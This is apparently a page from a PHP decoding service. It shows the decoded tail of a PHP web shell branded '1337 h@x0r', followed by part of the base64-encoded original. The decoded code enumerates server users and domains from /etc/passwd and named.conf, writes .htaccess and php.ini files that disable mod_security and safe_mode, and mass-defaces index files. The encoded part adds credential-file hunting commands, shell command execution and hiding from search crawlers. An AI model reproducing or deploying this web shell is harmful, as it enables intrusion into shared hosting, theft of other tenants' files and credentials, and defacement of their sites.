echo \'<tr\'.($l?\' class=l1\':\'\').\'><td>\'.$count++.\'</td><td><a href=http://www.\'.$domain[1][0].\'/>\'.$domain[1][0].\'</a></td><td>\'.$user[\'name\'].\'</td><td>\'.$out.\'</td></tr>\';
flush();
$l=$l?0:1;
}
}
}
echo "</table>";
}
echo "</center>"; 
}
echo "</div>";
printFooter();
} 
 function actionJumping() 
{printHeader();
echo \'<html><head><title>\'.getenv("HTTP_HOST").\' - Jumping Server</title></head><body>\';
($sm = ini_get(\'safe_mode\') == 0) ? $sm = \'off\': die(\'<font size="4" color="#000000" face="Calibri"><b>Error: Safe_mode = On</b></font>\');
set_time_limit(0);@$passwd = fopen(\'/etc/passwd\',\'r\');if (!$passwd) { die(\'<font size="4" color="#000000" face="Calibri"><b>[-] Error : Coudn`t Read /etc/passwd</b></font>\'); }
$pub = array();$users = array();$conf = array();$i = 0;while(!feof($passwd)){$str = fgets($passwd);if ($i > 100){ $pos = strpos($str,\':\');$username = substr($str,0,$pos);$dirz = \'/home/\'.$username.\'/public_html/\';if (($username != \'\')) { if (is_readable($dirz)) { array_push($users,$username);array_push($pub,$dirz); }}}$i++;}
echo \'<font color=aqua> [-]==================[ START ]==================[-]<br></font>\';
foreach ($users as $user){echo "<font color=#a3e956> [+] /home/$user/public_html/</font><br/>";} echo "
 <font color=aqua><br>[-]==================[ FINISH ]==================[-] <br></font>
"; echo \'</body></html>\';
printFooter();
}
function actionSubdomain() {
printHeader();
error_reporting(0);
$user = get_current_user();
$open = opendir(\'/home/\' . $user . \'/access-logs/\');
while ($dir = readdir($open)) {
$totalDoamin[] = $dir;
}
closedir($open);
$total = count($totalDoamin);
$domain = $total - 2;
if ($domain > 0) {
echo "<h2><b><font style=\"color: #a3e956 ;\" > ~ Total </font><font style=\"color: #a3e956; \">" . $domain . "</font><font style=\"color: #a3e956;\" > Sub Domain Found! ~ </font><br><BR>";
} else {
echo "<h2><b> ~ <font color=\'red\' style=\"color: red; text-shadow: red 0px 0px 4px ; \">0</font><font style=\"color: #black; text-shadow: black 0px 0px 6px ;\"> Sub Domain Found! ~</font><br><BR>";
}
$scan = array_diff(scandir(\'/home/\' . $user . \'/access-logs/\'), array(\'.\'));
$domains = implode("
http://", $scan);
echo \'
<style>
body {
text-align: center;
}
</style><textarea style="color: #a3e956; background-color: black" rows=\'30\' cols=\'100\'>\';
print_r($domains);
echo \'</textarea>\';
printFooter();
}
function actionSym() {
printHeader();
$file = @implode(@file("/etc/named.conf"));
if (!$file) {
die("# can\'t ReaD -> [ /etc/named.conf ]");
}
preg_match_all("#named/(.*?).db#", $file, $r);
$domains = array_unique($r[1]);
{
foreach ($domains as $domain) {
$user = posix_getpwuid(@fileowner("/etc/valiases/" . $domain));
$array= "<br>http://$domain<br>";
$lol= \'\' . get_current_user();
if (strpos($array, "$lol") == false) {
$shared = str_replace(array(" $lol"), "", $array);
echo "<center>$shared";
}
}
}
printFooter();
}
function actionBypass() {
printHeader();
echo \'<h1>Safe Mode</h1>\';
echo \'<div class="content">\';
echo "<div class=header><center><h3><span>| SAFE MODE AND MOD SECURITY DISABLED AND PERL 500 INTERNAL ERROR BYPASS |</span></h3>Following php.ini and .htaccess(mod) and perl(.htaccess)[convert perl extention *.pl => *.sh] files create in following dir<br>| ".$GLOBALS[\'cwd\']." |<br><br />";
echo \'<a href=# onclick="g(null,null,\'php.ini\',null)">| PHP.INI | </a><a href=# onclick="g(null,null,null,\'ini\')">| .htaccess(Mod) | </a><a href=# onclick="g(null,null,null,null,\'sh\')">| .htaccess(perl) | </a></center>\';
if(!empty($_POST[\'p2\']) && isset($_POST[\'p2\']))
{
$fil=fopen($GLOBALS[\'cwd\'].".htaccess","w");
fwrite($fil,\'<IfModule mod_security.c>
Sec------Engine Off
Sec------ScanPOST Off
</IfModule>\');
fclose($fil);
 }
 if(!empty($_POST[\'p1\'])&& isset($_POST[\'p1\']))
 {
$fil=fopen($GLOBALS[\'cwd\']."php.ini","w");
fwrite($fil,\'safe_mode=OFF
disable_functions=NONE\');
fclose($fil);
}
if(!empty($_POST[\'p3\']) && isset($_POST[\'p3\']))
{
$fil=fopen($GLOBALS[\'cwd\'].".htaccess","w");
fwrite($fil,\'Options FollowSymLinks MultiViews Indexes ExecCGI
AddType application/x-httpd-cgi .sh
AddHandler cgi-script .pl
AddHandler cgi-script .pl\');
fclose($fil); 
}
echo "<br><br /><br /></div>";
echo \'</div>\';
printFooter();
}
function actionDeface() {
printHeader();
echo "<h1>Mass Defacer by 1337 h@x0r</h1><div class=content>";
?>
<form ENCTYPE="multipart/form-data" action="<?$_SERVER[\'PHP_SELF\']?>" method=POST onSubmit="g(null,null,this.path.value,this.file.value,this.Contents.value);return false;">
<p align="Left">Folder: <input type=text name=path size=60 value="<?=getcwd(); ?>">
<br>file name : <input type=text name=file size=20 value="index.php">
<br>Text Content : <input type=text name=Contents size=70 value="Add your deface txt here"> 
<br><input type=submit value="Deface now"></p></form>
<?php
if ($_POST[\'a\'] == \'Deface\') {
$mainpath = $_POST[p1];
$file = $_POST[p2];
$txtContents = $_POST[p3];
echo "Mass Defacer script by 1337 h@x0r";
$dir = opendir($mainpath); //fixme - cannot deface when change to writeable path!!
while ($row = readdir($dir)) {
$start = @fopen("$row/$file", "w+");
$code = $txtContents;
$finish = @fwrite($start, $code);
if ($finish) {
echo "$row/$file > Done<br><br>";
}
}
}
echo \'</div>\';
printFooter();
}
 function actionDomain() {
printHeader();
echo \'<h1>Local Domains</h1><div class=content>\';
$file = @implode(@file("/etc/named.conf"));
$Domain_path = "/var/named";
if (!$file) {
$domains = scandir($Domain_path);
$count=1;
$dc = 0;
echo "<table align=center border=1 width=59% cellpadding=5>
<tr><td colspan=2>There are : ( <b>" . count($domains) . "</b> ) Domains in this Sever.Can\'t read named.cof .Domains are bypassed actually,you will face problem in symlink. </td></tr>
<tr><td>No</td><td>Domain</td><td>User</td></tr>";
foreach ($domains as &$domain) {
if (stripos($domain,".db")) {
$domain = str_replace(\'.db\',\'\',$domain);
}
if (strlen($domain) > 6) {
echo "<tr><td>".$count++."</td><td><a href=\'http://".$domain."\' target=\'_blank\'>".$domain."</a></td><td>User</td></tr>";
}
} 
echo "</table>";
}else{
$count = 1;
preg_match_all("#named/(.*?).db#", $file, $r);
$domains = array_unique($r[1]);
echo "<table align=center border=1 width=59% cellpadding=5>
<tr><td colspan=2> There are( <b>" . count($domains) . "</b> ) Domains in this Sever.I think you have got something this time yeah!!!.</td></tr>
<tr><td>No</td><td>Domain</td><td>User</td></tr>";
foreach ($domains as $domain) {
$user = posix_getpwuid(@fileowner("/etc/valiases/" . $domain));
echo "<tr><td>".$count++."</td><td><a href=\'http://".$domain."\' target=\'_blank\'>".$domain."</a></td><td>".$user[\'name\']."</td></tr>";
 }
}
 printFooter();
}
if( empty($_POST[\'a\']) )
if(isset($default_action) && function_exists(\'action\' . $default_action))
$_POST[\'a\'] = $default_action;
else
$_POST[\'a\'] = \'SecInfo\';
if( !empty($_POST[\'a\']) && function_exists(\'action\' . $_POST[\'a\']) )
call_user_func(\'action\' . $_POST[\'a\'])
?>'

Did this file decode correctly?

Original Code

<?php
$pca="PD9waHAKJGRlZmFjZV91cmw9J2h0dHA6Ly9wYXN0ZWJpbi5jb20vcmF3L3hDakpRWUhIJzsKJFVzZXJOYW1lPSI3IjsKJGF1dGhfcGFzcz0iNyI7CiRjb2xvcj0iI0FCRUZGQSI7CiRUaGVtZT0nIzA5QjVBNyc7CiRUYWJzQ29sb3I9JyMwRTUwNjInOwokZGVmYXVsdF9hY3Rpb249J0ZpbGVzTWFuJzsKQGRlZmluZSgnU0VMRl9QQVRIJyxfX0ZJTEVfXyk7CmlmKHN0cnBvcygkX1NFUlZFUlsnSFRUUF9VU0VSX0FHR
U5UJ10sJ0dvb2dsZScpIT09ZmFsc2UpewpoZWFkZXIoJ0hUVFAvMS4wIDQwNCBOb3QgRm91bmQnKTsKZXhpdDsKfQpAc2Vzc2lvbl9zdGFydCgpOwpAZXJyb3JfcmVwb3J0aW5nKDApOwpAaW5pX3NldCgnZXJyb3JfbG9nJyxOVUxMKTsKQGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywwKTsKQGluaV9zZXQoJ2xvZ19lcnJvcnMnLDApOwpAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywwKTsKQHNldF90aW1lX2xpbWl0
KDApOwpAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApOwppZihnZXRfbWFnaWNfcXVvdGVzX2dwYygpKXsKZnVuY3Rpb24gc3RyaXBzbGFzaGVzX2FycmF5KCRhcnJheSl7CnJldHVybiBpc19hcnJheSgkYXJyYXkpP2FycmF5X21hcCgnc3RyaXBzbGFzaGVzX2FycmF5JywkYXJyYXkpOnN0cmlwc2xhc2hlcygkYXJyYXkpOwp9CiRfUE9TVD1zdHJpcHNsYXNoZXNfYXJyYXkoJF9QT1NUKTsKfQpmdW5jdGlvbiBwcmludEx
vZ2luKCl7CmlmKCRfUE9TVFsncGFzcyddIT0kYXV0aF9wYXNzJiYkX1BPU1RbJ3VuYW1lJ10hPSRVc2VyTmFtZSl7CiRzdGF0dXM9J1dyb25nIFBhc3N3b3JkIG9yIFVzZXJOYW1lIDooJzsKfQo/Pgo8aHRtbD4KPGhlYWQ+Cjx0aXRsZT4xMzM3IGhAeDByIHYzPC90aXRsZT4KPGxpbmsgaHJlZj0iaHR0cHM6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3M/ZmFtaWx5PUpvc2VmaW4rU2Fuczo0MDAsMTAwIiByZWw9InN0eW
xlc2hlZXQiPgo8L2hlYWQ+CjxzdHlsZT4KYm9keXsKZm9udC1mYW1pbHk6Sm9zZWZpbiBTYW5zLHNhbnMtc2VyaWY7CmJhY2tncm91bmQ6YmxhY2s7CmNvbG9yOiNBQkVGRkY7Cn0KfQoubG9naW5wYWdlewpoZWlnaHQ6NDAwcHg7CndpZHRoOjUwMHB4Owpib3JkZXI6MXB4IHNvbGlkOwpib3JkZXItY29sb3I6I0FCRUZGRjsKdGV4dC1hbGlnbjpjZW50ZXI7CmJvcmRlci1yYWRpdXM6NXB4OwptYXJnaW4tdG9wOjEwMHB4O
wp9CiNwYWdlaGVhZGluZ3sKZm9udC1zaXplOjI1cHg7CmNvbG9yOiNBQkVGRkY7Cm1hcmdpbi10b3A6MTBweDsKfQoubG9naW5wYWdlIGltZ3sKd2lkdGg6NTAwcHg7Cn0KaW5wdXR7CmJhY2tncm91bmQ6YmxhY2s7CmJvcmRlci1jb2xvcjojQUJFRkZGOwpib3JkZXItcmFkaXVzOjEwcHg7Cm1hcmdpbi10b3A6MTBweDsKcGFkZGluZzo1cHg7CmNvbG9yOiNBQkVGRkY7Cn0KaW5wdXQ6aG92ZXJ7CmJhY2tncm91bmQ6I0FC
RUZGRjsKY29sb3I6cmVkOwp9Cjwvc3R5bGU+Cjxib2R5Pgo8Y2VudGVyPgo8ZGl2IGNsYXNzPSJsb2dpbnBhZ2UiPgo8aW1nIHNyYz0iaHR0cDovL2kuaW1ndXIuY29tLzkyRUFVSmsucG5nImFsdD0iMTMzNyBoQHgwciBMb2dvIj4KPGRpdiBpZD0icGFnZWhlYWRpbmciPjEzMzcgaEB4MHIgU2hlbGw8L2Rpdj4KPGZvcm0gbWV0aG9kPSJwb3N0Ij4KVXNlciBOYW1lOjxpbnB1dCB0eXBlPSJ0ZXh0Im5hbWU9InVuYW1lIj4
8YnI+ClBhc3N3b3JkOjxpbnB1dCB0eXBlPSJwYXNzd29yZCJuYW1lPSJwYXNzIj48YnI+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImxvZ2luIiB2YWx1ZT0iTG9naW4iPgo8P3BocAppZiAoaXNzZXQoJHN0YXR1cykpIHsKPz4KPC9mb3JtPgo8L2Q8cD48Pz0kc3RhdHVzPz48L3A+IAo8L2NlbnRlcj4KPC9ib2R5Pgo8L2h0bWw+Cjw/cGhwCn0KZXhpdDsKfQppZighaXNzZXQoICRfU0VTU0lPTlttZDUoJF9TRVJWRV
JbJ0hUVFBfSE9TVCddKV0pKQppZihlbXB0eSggJGF1dGhfcGFzcyApfHwKKGlzc2V0KCRfUE9TVFsncGFzcyddKSAmJigkX1BPU1RbJ3Bhc3MnXSkgPT0gJGF1dGhfcGFzcyYmICgkX1BPU1RbJ3VuYW1lJ10pID09ICRVc2VyTmFtZSkpCiRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKV0gPSB0cnVlOwplbHNlCnByaW50TG9naW4oKTsKaWYoc3RydG9sb3dlcihzdWJzdHIoUEhQX09TLDAsMykpPT0id2luI
ikKJG9zPSd3aW4nOwplbHNlCiRvcz0nbml4JzsKJHNhZmVfbW9kZT1AaW5pX2dldCgnc2FmZV9tb2RlJyk7CiRkaXNhYmxlX2Z1bmN0aW9ucyA9IEBpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpOwokaG9tZV9jd2Q9QGdldGN3ZCgpOwppZiggaXNzZXQoJF9QT1NUWydjJ10pKQpAY2hkaXIoJF9QT1NUWydjJ10pOwokY3dkID0gQGdldGN3ZCgpOwppZiggJG9zID09ICd3aW4nKSB7CiRob21lX2N3ZD1zdHJfcmVwbGFj
ZSgiXFwiLCAiLyIsICRob21lX2N3ZCk7CiRjd2Q9c3RyX3JlcGxhY2UoIlxcIiwgIi8iLCAkY3dkKTsKfQppZigkY3dkW3N0cmxlbigkY3dkKS0xXSE9ICcvJyApCiRjd2QgLj0gJy8nOwppZigkb3M9PSd3aW4nKXsKJGFsaWFzZXMgPSBhcnJheSgKIkxpc3QgRGlyZWN0b3J5IiA9PiAiZGlyIiwKIkZpbmQgaW5kZXgucGhwIGluIGN1cnJlbnQgZGlyIiA9PiAiZGlyIC9zIC93IC9iIGluZGV4LnBocCIsCiJGaW5kICpjb25
maWcqLnBocCBpbiBjdXJyZW50IGRpciIgPT4gImRpciAvcyAvdyAvYiAqY29uZmlnKi5waHAiLAoiU2hvdyBhY3RpdmUgY29ubmVjdGlvbnMiID0+ICJuZXRzdGF0IC1hbiIsCiJTaG93IHJ1bm5pbmcgc2VydmljZXMiID0+ICJuZXQgc3RhcnQiLAoiVXNlciBhY2NvdW50cyIgPT4gIm5ldCB1c2VyIiwKIlNob3cgY29tcHV0ZXJzIiA9PiAibmV0IHZpZXciLAoiQVJQIFRhYmxlIiA9PiAiYXJwIC1hIiwKIklQIENvbmZpZ3
VyYXRpb24iID0+ICJpcGNvbmZpZyAvYWxsIgopOwp9CmVsc2V7CiRhbGlhc2VzID0gYXJyYXkoCiJMaXN0IGRpciIgPT4gImxzIC1sYSIsCiJsaXN0IGZpbGUgYXR0cmlidXRlcyBvbiBhIExpbnV4IHNlY29uZCBleHRlbmRlZCBmaWxlIHN5c3RlbSIgPT4gImxzYXR0ciAtdmEiLAoic2hvdyBvcGVuZWQgcG9ydHMiID0+ICJuZXRzdGF0IC1hbiB8IGdyZXAgLWkgbGlzdGVuIiwKIkZpbmQiID0+ICIiLAoiZmluZCBhbGwgc
3VpZCBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1wZXJtIC0wNDAwMCAtbHMiLAoiZmluZCBzdWlkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLXBlcm0gLTA0MDAwIC1scyIsCiJmaW5kIGFsbCBzZ2lkIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scyIsCiJmaW5kIHNnaWQgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtcGVybSAt
MDIwMDAgLWxzIiwKImZpbmQgY29uZmlnLmluYy5waHAgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSBjb25maWcuaW5jLnBocCIsCiJmaW5kIGNvbmZpZyogZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSBcImNvbmZpZypcIiIsCiJmaW5kIGNvbmZpZyogZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtbmFtZSBcImNvbmZpZypcIiIsCiJmaW5kIGFsbCB3cml0YWJsZSBmb2x
kZXJzIGFuZCBmaWxlcyIgPT4gImZpbmQgLyAtcGVybSAtMiAtbHMiLAoiZmluZCBhbGwgd3JpdGFibGUgZm9sZGVycyBhbmQgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXBlcm0gLTIgLWxzIiwKImZpbmQgYWxsIHNlcnZpY2UucHdkIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgc2VydmljZS5wd2QiLAoiZmluZCBzZXJ2aWNlLnB3ZCBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLi
AtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkIiwKImZpbmQgYWxsIC5odHBhc3N3ZCBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lIC5odHBhc3N3ZCIsCiJmaW5kIC5odHBhc3N3ZCBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1uYW1lIC5odHBhc3N3ZCIsCiJmaW5kIGFsbCAuYmFzaF9oaXN0b3J5IGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgLmJhc2hfaGlzdG9yeSIsC
iJmaW5kIC5iYXNoX2hpc3RvcnkgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuYmFzaF9oaXN0b3J5IiwKImZpbmQgYWxsIC5mZXRjaG1haWxyYyBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lIC5mZXRjaG1haWxyYyIsCiJmaW5kIC5mZXRjaG1haWxyYyBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1uYW1lIC5mZXRjaG1haWxyYyIsCiJMb2Nh
dGUiID0+ICIiLAoibG9jYXRlIGh0dHBkLmNvbmYgZmlsZXMiID0+ICJsb2NhdGUgaHR0cGQuY29uZiIsCiJsb2NhdGUgdmhvc3RzLmNvbmYgZmlsZXMiID0+ICJsb2NhdGUgdmhvc3RzLmNvbmYiLAoibG9jYXRlIHByb2Z0cGQuY29uZiBmaWxlcyIgPT4gImxvY2F0ZSBwcm9mdHBkLmNvbmYiLAoibG9jYXRlIHBzeWJuYy5jb25mIGZpbGVzIiA9PiAibG9jYXRlIHBzeWJuYy5jb25mIiwKImxvY2F0ZSBteS5jb25mIGZpbGV
zIiA9PiAibG9jYXRlIG15LmNvbmYiLAoibG9jYXRlIGFkbWluLnBocCBmaWxlcyIgPT4ibG9jYXRlIGFkbWluLnBocCIsCiJsb2NhdGUgY2ZnLnBocCBmaWxlcyIgPT4gImxvY2F0ZSBjZmcucGhwIiwKImxvY2F0ZSBjb25mLnBocCBmaWxlcyIgPT4gImxvY2F0ZSBjb25mLnBocCIsCiJsb2NhdGUgY29uZmlnLmRhdCBmaWxlcyIgPT4gImxvY2F0ZSBjb25maWcuZGF0IiwKImxvY2F0ZSBjb25maWcucGhwIGZpbGVzIiA9Pi
AibG9jYXRlIGNvbmZpZy5waHAiLAoibG9jYXRlIGNvbmZpZy5pbmMgZmlsZXMiID0+ICJsb2NhdGUgY29uZmlnLmluYyIsCiJsb2NhdGUgY29uZmlnLmluYy5waHAiID0+ICJsb2NhdGUgY29uZmlnLmluYy5waHAiLAoibG9jYXRlIGNvbmZpZy5kZWZhdWx0LnBocCBmaWxlcyIgPT4gImxvY2F0ZSBjb25maWcuZGVmYXVsdC5waHAiLAoibG9jYXRlIGNvbmZpZyogZmlsZXMgIiA9PiAibG9jYXRlIGNvbmZpZyIsCiJsb2Nhd
GUgLmNvbmYgZmlsZXMiPT4ibG9jYXRlICcuY29uZiciLAoibG9jYXRlIC5wd2QgZmlsZXMiID0+ICJsb2NhdGUgJy5wd2QnIiwKImxvY2F0ZSAuc3FsIGZpbGVzIiA9PiAibG9jYXRlICcuc3FsJyIsCiJsb2NhdGUgLmh0cGFzc3dkIGZpbGVzIiA9PiAibG9jYXRlICcuaHRwYXNzd2QnIiwKImxvY2F0ZSAuYmFzaF9oaXN0b3J5IGZpbGVzIiA9PiAibG9jYXRlICcuYmFzaF9oaXN0b3J5JyIsCiJsb2NhdGUgLm15c3FsX2hp
c3RvcnkgZmlsZXMiID0+ICJsb2NhdGUgJy5teXNxbF9oaXN0b3J5JyIsCiJsb2NhdGUgLmZldGNobWFpbHJjIGZpbGVzIiA9PiAibG9jYXRlICcuZmV0Y2htYWlscmMnIiwKImxvY2F0ZSBiYWNrdXAgZmlsZXMiID0+ICJsb2NhdGUgYmFja3VwIiwKImxvY2F0ZSBkdW1wIGZpbGVzIiA9PiAibG9jYXRlIGR1bXAiLAoibG9jYXRlIHByaXYgZmlsZXMiID0+ICJsb2NhdGUgcHJpdiIKKTsKfQppZihpc3NldCgkX1BPU1RbJ3A
xJ10pICYmICRfUE9TVFsncDEnXT09J2RlZmFjZScpIHsKJGRlZiA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRkZWZhY2VfdXJsKTsKZmlsZV9wdXRfY29udGVudHMoJF9QT1NUWydjJ10uJF9QT1NUWydwMiddLCRkZWYpOwp9CmZ1bmN0aW9uIGV4KCRpbikgewokb3V0ID0gJyc7CmlmICggZnVuY3Rpb25fZXhpc3RzKCcgZXhlYyAnKSkgewpAZXhlYygkaW4sJG91dCk7CiRvdXQgPSBAam9pbigiXG4iLCRvdXQpOwp9ZWxzZWlmKG
Z1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSkgewpvYl9zdGFydCgpOwpAcGFzc3RocnUoJGluKTsKJG91dCA9IG9iX2dldF9jbGVhbigpOwp9ZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykpIHsKb2Jfc3RhcnQoKTsKQHN5c3RlbSgkaW4pOwokb3V0ID0gb2JfZ2V0X2NsZWFuKCk7Cn1lbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdzaGVsbF9leGVjJykpIHsKJG91dCA9IHNoZWxsX2V4ZWMoJGluKTsKfWVsc2VpZ
ihpc19yZXNvdXJjZSgkZiA9IEBwb3BlbigkaW4sInIiKSkpIHsKJG91dCA9ICIiOwp3aGlsZSghQGZlb2YoJGYpKQokb3V0IC49IGZyZWFkKCRmLDEwMjQpOwpwY2xvc2UoJGYpOwp9CnJldHVybiAkb3V0Owp9CmZ1bmN0aW9uIHdoaWNoKCRwKSB7CiRwYXRoID0gZXgoJ3doaWNoICcuJHApOwppZighZW1wdHkoJHBhdGgpKQpyZXR1cm4gJHBhdGg7CnJldHVybiBmYWxzZTsKfQpmdW5jdGlvbiBwcmludEhlYWRlcigpIHsK
aWYoZW1wdHkoJF9QT1NUWydjaGFyc2V0J10pKQokX1BPU1RbJ2NoYXJzZXQnXSA9ICJVVEYtOCI7Cmdsb2JhbCAkY29sb3I7Cmdsb2JhbCAkVGhlbWU7Cmdsb2JhbCAkVGFic0NvbG9yOwplY2hvICI8aHRtbD48aGVhZD48bGluayBocmVmPSdodHRwczovL2ZvbnRzLmdvb2dsZWFwaXMuY29tL2Nzcz9mYW1pbHk9Sm9zZWZpbitTYW5zOjQwMCwxMDAnIHJlbD0nc3R5bGVzaGVldCcgdHlwZT0ndGV4dC9jc3MnPjwvaGVhZD4
iOwplY2hvICc8aHRtbD4KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9Jy4kX1BPU1RbJ2NoYXJzZXQnXS4nIj48dGl0bGU+MTMzNyBoQHgwciB2MzwvdGl0bGU+CjxzdHlsZT4KYm9keSB7YmFja2dyb3VuZC1jb2xvcjpibGFjaztjb2xvcjojZmZmO30KYm9keSx0ZCx0aHsgZm9udC1mYW1pbHk6IEpvc2VmaW4gU2Fucywgc2Fucy1zZXJpZjtmb250LXNpemU6MT
NweDttYXJnaW46MDt2ZXJ0aWNhbC1hbGlnbjp0b3A7IH0Kc3BhbixoMSxheyBjb2xvcjonLiRjb2xvci4nICFpbXBvcnRhbnQ7IH0Kc3BhbnsgZm9udC13ZWlnaHQ6IGJvbGRlcjsgfQpoMXsgcGFkZGluZzogMHB4IDVweDtmb250OiAxNHB0IGF1ZGlvd2lkZTttYXJnaW46MHB4IDAgMCAwcHg7IH0KZGl2LmNvbnRlbnR7IHBhZGRpbmc6IDBweDttYXJnaW46MCAwcHg7YmFja2dyb3VuZDogIzBGMTAxMDtib3JkZXI6MXB4I
HNvbGlkICcuJFRoZW1lLic7IGJvcmRlci1yYWRpdXM6NXB4O30KYXsgdGV4dC1kZWNvcmF0aW9uOm5vbmU7IH0KYTpob3ZlcnsgYm9yZGVyLWJvdHRvbTowcHggc29saWQgIzVlNWU1ZTt0ZXh0LWRlY29yYXRpb246bm9uZTsgfQphOmhvdmVye2N1cnNvcjogdXJsKCJodHRwOi8vZG93bmxvYWRzLnRvdGFsbHlmcmVlY3Vyc29ycy5jb20vY3Vyc29yX2ZpbGVzL3Bha2lzdGFuLmFuaSIpLCB1cmwoImh0dHA6Ly9kb3dubG9h
ZHMudG90YWxseWZyZWVjdXJzb3JzLmNvbS90aHVtYm5haWxzL1BBS0lTVEFOLmdpZiIpLCBhdXRvO3RleHQtZGVjb3JhdGlvbjpub25lO30KLm1sMXsgYm9yZGVyOjFweCBzb2xpZCAnLiRUaGVtZS4nO3BhZGRpbmc6cHg7bWFyZ2luOjA7b3ZlcmZsb3c6IGF1dG87IH0KLmJpZ2FyZWF7IHdpZHRoOjEwMCU7aGVpZ2h0OjI1MHB4O21hcmdpbi10b3A6MHB4OyBib3JkZXItcmFkaXVzOjEwcHg7IGJvcmRlci1jb2xvcjonLiR
UaGVtZS4nOyBiYWNrZ3JvdW5kOiMyRjJGMkY7fQppbnB1dCwgdGV4dGFyZWEsIHNlbGVjdHsgbWFyZ2luLXRvcDowO2NvbG9yOiM2M0UxRkY7YmFja2dyb3VuZC1jb2xvcjpibGFjaztib3JkZXItcmFkaXVzOjVweDtib3JkZXI6MXB4IHNvbGlkICcuJFRoZW1lLic7IGJvcmRlci1yYWRpczo1cHg7Zm9udDogMTBwdCBhcmlhbCwiQ291cmllciBOZXciOyB9CmlucHV0W3R5cGU9ImJ1dHRvbiJdOmhvdmVyLGlucHV0W3R5cG
U9InN1Ym1pdCJdOmhvdmVyIHtiYWNrZ3JvdW5kLWNvbG9yOiMwOTRGNjA7Y29sb3I6YmxhY2s7dGV4dC1kZWNvcmF0aW9uOm5vbmU7fSAKZm9ybXsgbWFyZ2luOjBweDsgYmFja2dyb3VuZDojMEYxMDEwO30KI3Rvb2xzVGJseyB0ZXh0LWFsaWduOmNlbnRlcjsgfQoudG9vbHNJbnB7IHdpZHRoOiA4MCU7IGJhY2tncm91bmQ6YmxhY2s7IGJvcmRlci1yYWRpdXM6NXB4OyBib3JkZXItY29sb3I6Jy4kVGhlbWUuJzsgfQoub
WFpbiB0aHt0ZXh0LWFsaWduOmxlZnQ7YmFja2dyb3VuZC1jb2xvcjonLiRUYWJzQ29sb3IuJzt9Ci5tYWluIHRyOmhvdmVye2JhY2tncm91bmQ6Jy4kVGhlbWUuJzsgYm9yZGVyOjVweCBzb2xpZDtib3JkZXItY29sb3I6Jy4kVGhlbWUuJzt9Ci5tYWluIHRkLCB0aHt2ZXJ0aWNhbC1hbGlnbjptaWRkbGU7fQoubWVudSB7IGhlaWdodDozMHB4OyBib3JkZXItcmFkaXVzOjEwcHg7fQoubWVudSB0aHtwYWRkaW5nOjFweDti
b3JkZXItcmFkaXVzOiA1cHg7YmFja2dyb3VuZDonLiRUYWJzQ29sb3IuJzsgLXdlYmtpdC10cmFuc2Zvcm06IHJvdGF0ZSgyMGRlZyk7Ci1tb3otdHJhbnNmb3JtOiByb3RhdGUoMjBkZWcpOwotby10cmFuc2Zvcm06IHJvdGF0ZSgyMGRlZyk7Ci1tcy10cmFuc2Zvcm06IHJvdGF0ZSgyMGRlZyk7CnRyYW5zZm9ybTogcm90YXRlKDIwZGVnKTt9Ci5tZW51IHRoOmhvdmVye2JhY2tncm91bmQ6IzBGMTAxMDt0ZXh0LWRlY29
yYXRpb246IG5vbmU7fQpwcmUge2ZvbnQtZmFtaWx5OiBKb3NlZmluIFNhbnMsIHNhbnMtc2VyaWY7Y29sb3I6I0ZGRkZGRjt9CiNjb3RfdGxfZml4ZWR7cG9zaXRpb246Zml4ZWQ7Ym90dG9tOjBweDtmb250LXNpemU6MTJweDtsZWZ0OjBweDtwYWRkaW5nOjRweCAwO2NsaXA6X3RvcDpleHByZXNzaW9uKGRvY3VtZW50LmRvY3VtZW50RWxlbWVudC5zY3JvbGxUb3ArZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LmNsaWVudE
hlaWdodC10aGlzLmNsaWVudEhlaWdodCk7X2xlZnQ6ZXhwcmVzc2lvbihkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQuc2Nyb2xsTGVmdCArIGRvY3VtZW50LmRvY3VtZW50RWxlbWVudC5jbGllbnRXaWR0aCAtIG9mZnNldFdpZHRoKTt9Ci5jcHIge21hcmdpbi1ib3R0b206NXB4O2ZvbnQtd2VpZ2h0OmJvbGQ7IH0KLmNwYiB7d2lkdGg6MzRweDttYXJnaW46MCA1cHg7fQoubnBvYWQgdGQge3BhZGRpbmc6MDt9CiMxMzM3d
